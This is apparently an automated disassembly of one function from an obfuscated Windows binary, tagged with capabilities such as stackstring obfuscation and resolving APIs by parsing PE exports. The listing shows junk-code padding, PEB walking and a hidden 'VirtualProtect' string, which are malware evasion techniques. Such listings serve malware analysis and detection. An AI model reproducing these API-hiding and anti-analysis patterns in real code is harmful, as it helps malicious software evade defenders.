Function at 0x409ac5
Capabilities:
Contain obfuscated stackstrings
Get number of processors
Resolve function by parsing pe exports

Disassembly:
mov eax, dword [ebp - 0x770]
add eax, 1
mov dword [ebp - 0x770], eax
mov ecx, dword [ebp - 0x76c]
mov edx, dword [ebp - 0x770]
cmp edx, dword [ecx + 0x18]
jae 0x409959
mov eax, dword [ebp - 0x770]
mov ecx, dword [ebp - 0x19f4]
mov edx, dword [ebp - 0x338]
add edx, dword [ecx + eax*4]
mov dword [ebp - 0x774], edx
mov eax, dword [ebp - 0x770]
mov ecx, dword [ebp - 0x19f8]
movzx edx, word [ecx + eax*2]
mov eax, dword [ebp - 0x19fc]
mov ecx, dword [ebp - 0x338]
add ecx, dword [eax + edx*4]
mov dword [ebp - 0x1a00], ecx
mov dword [ebp - 0x1cc], 0
jmp 0x4097bd
mov edx, dword [ebp - 0x1cc]
add edx, 1
mov dword [ebp - 0x1cc], edx
mov eax, dword [ebp - 0x774]
add eax, dword [ebp - 0x1cc]
movsx ecx, byte [eax]
test ecx, ecx
je 0x40986f
mov edx, dword [ebp - 0x1cc]
movsx eax, byte [ebp + edx - 0x880]
test eax, eax
je 0x40986f
push edx
push edx
add esp, 4
or edx, 0x80ff
jmp 0x4097fc
pop edx
push eax
push eax
add esp, 4
add eax, 0xb719
jmp 0x40980f
sub eax, 0x2a22
xor eax, 0x13d04
pop eax
mov ecx, dword [ebp - 0x774]
add ecx, dword [ebp - 0x1cc]
movsx edx, byte [ecx]
mov eax, dword [ebp - 0x1cc]
movsx ecx, byte [ebp + eax - 0x880]
cmp edx, ecx
je 0x409861
mov edx, dword [ebp - 0x774]
add edx, dword [ebp - 0x1cc]
movsx eax, byte [edx]
xor eax, 0x20
mov ecx, dword [ebp - 0x1cc]
movsx edx, byte [ebp + ecx - 0x880]
cmp eax, edx
jne fcn.00409868
jmp 0x4097ae
jmp 0x40986f
push ecx
push edi
add esp, 4
call 0x409883
add byte [edx + 0x4e], al
inc esp
cmp al, 0x32
inc esi
dec ebp
xor al, byte [edx - 0x7d]
les eax, [ecx + ebx*2]
push edi
call 0x409895
add byte [edx + 0x38], cl
xor al, 0x35
cmp eax, dword [edi + 0x41]
add esp, 4
pop edi
push edx
sub edx, 0xa98e
pop edx
mov eax, dword [ebp - 0x774]
add eax, dword [ebp - 0x1cc]
movsx ecx, byte [eax]
mov edx, dword [ebp - 0x1cc]
movsx eax, byte [ebp + edx - 0x880]
cmp ecx, eax
jne 0x4098ce
mov dword [ebp - 0xcc8], 0
jmp 0x40993d
push edx
call 0x4098db
add byte [edx], bh
dec esi
cmp dword [0xc483413a], esi
add al, 0x81
ljmp 0xc281
cmp dword [ebp - 0xcc8], 0
jne 0x409954
mov edx, dword [ebp - 0x1a00]
mov dword [ebp - 0x50c], edx
jmp 0x409965
jmp 0x40973e
mov eax, dword [ebp - 0x778]
mov dword [ebp - 0x50c], eax
mov ecx, dword [ebp - 0x50c]
mov dword [ebp - 0x7a4], ecx
push ebx
push esi
add esp, 4
add ebx, 0x98f0
or ebx, 0xc336
or ebx, 0x20a5
pop ebx
push ebx
and ebx, 0x11986
xor ebx, 0x11e8d
and ebx, 0x15ce4
sub ebx, 0x7f74
pop ebx
mov edx, dword [ebp - 0x3fc]
add edx, 0xe
mov dword [ebp - 0x1a50], edx
push ecx
sub ecx, 0x2f0d
sub ecx, 0x14fb2
pop ecx
push eax
and eax, 0x1754c
call 0x4099d4
add byte [edx + 0x3a], cl
aaa
inc ecx
inc esi
dec eax
add esp, 4
and eax, 0x6d2f
or eax, 0xebf2
pop eax
cmp dword [ebp - 0x3fc], 0
je 0x4099f6
cmp dword [ebp - 0xad8], 0
jne 0x409a3c
push eax
push esi
add esp, 4
and eax, 0x11783
sub eax, 0x828
pop eax
push edx
jmp 0x409a0f
pop edx
push ecx
push eax
add esp, 4
or ecx, 0x17f26
add ecx, 0x7f41
sub ecx, 0xa2c2
pop ecx
mov eax, dword [ebp - 0x7a4]
mov dword [ebp - 0x1a04], eax
push 0
call dword [ebp - 0x1a04]
mov dword [ebp - 0x20b4], 0xa
push ecx
sub ecx, 0x2824
or ecx, 0x245
jmp 0x409a5c
xor ecx, 0x7b96
pop ecx
push edi
jmp 0x409a69
or edi, 0x4fb5
pop edi
push edx
sub edx, 0x15d62
pop edx
mov ecx, dword [ebp - 0x3fc]
mov dl, byte [ecx + 0xa]
mov byte [ebp - 0x3b0], dl
mov eax, dword [ebp - 0xad8]
sub eax, dword [ebp - 0x3fc]
mov dword [ebp - 0x1690], eax
mov dword [ebp - 0xcf8], 0
push esi
xor esi, 0x3e54
add esi, 0x91b3
and esi, 0x16687
call 0x409ac5
add byte [eax + 0x41], cl
inc esp
xor edx, dword [eax + 0x46]
xor cl, byte [eax + 0x3f]
add esp, 4
pop esi
push esi
push eax
add esp, 4
sub esi, 0x10085
pop esi
mov byte [ebp - 0x9dc], 0x56
mov byte [ebp - 0x9db], 0x69
mov byte [ebp - 0x9da], 0x72
mov byte [ebp - 0x9d9], 0x74
mov byte [ebp - 0x9d8], 0x75
mov byte [ebp - 0x9d7], 0x61
mov byte [ebp - 0x9d6], 0x6c
mov byte [ebp - 0x9d5], 0x50
mov byte [ebp - 0x9d4], 0x72
mov byte [ebp - 0x9d3], 0x6f
mov byte [ebp - 0x9d2], 0x74
mov byte [ebp - 0x9d1], 0x65
mov byte [ebp - 0x9d0], 0x63
mov byte [ebp - 0x9cf], 0x74
mov byte [ebp - 0x9ce], 0
mov ecx, dword fs:[0x18]
mov dword [ebp - 0x1a08], ecx
mov edx, dword [ebp - 0x1a08]
mov eax, dword [edx + 0x30]
mov dword [ebp - 0x1a0c], eax
mov ecx, dword [ebp - 0x1a0c]
mov dword [ebp - 0x1610], ecx
push edi
sub edi, 0x5224
call 0x409b7b
add byte [esi], bh
inc esp
dec ecx
xor esi, dword [edx]
cmp dword [ebx + 0x32], ecx
add esp, 4
jmp 0x409b87
add edi, 0x14a6b
pop edi
push ecx
jmp 0x409b97
pop ecx
cmp dword [ebp - 0x1610], 0
jne 0x409bb0
mov dword [ebp - 0x300], 0
jmp 0x409e57
mov edx, dword [ebp - 0x1610]
mov eax, dword [edx + 0xc]
mov ecx, dword [eax + 0xc]
mov dword [ebp - 0xcd4], ecx
push ebx
push ecx
add esp, 4
call 0x409bd6
add byte [edx + 0x33], al
cmp edi, dword [eax]
dec ecx
push eax
xor dh, byte [ebx]
xor al, byte [ebx - 0x347efb3c]
ljmp 0xc597
push edx
call 0x409e65
add byte [esi], bh
dec ecx
push eax
cmp dh, byte [esp + edi]
xor eax, dword [ebx + 0x4eb04c4]
xor bh, byte [edx + ecx*2]
inc esp
pop edx
push esi
sub esi, 0x555
or esi, 0xbcc4
or esi, 0x12044
and esi, 0xc129
pop esi
cmp dword [ebp - 0x300], 0
jne 0x40a75c
mov ecx, 0x6b
mov word [ebp - 0x1774], cx
mov edx, 0x65
mov word [ebp - 0x1772], dx
mov eax, 0x72
invalid
invalid
invalid
nop
invalid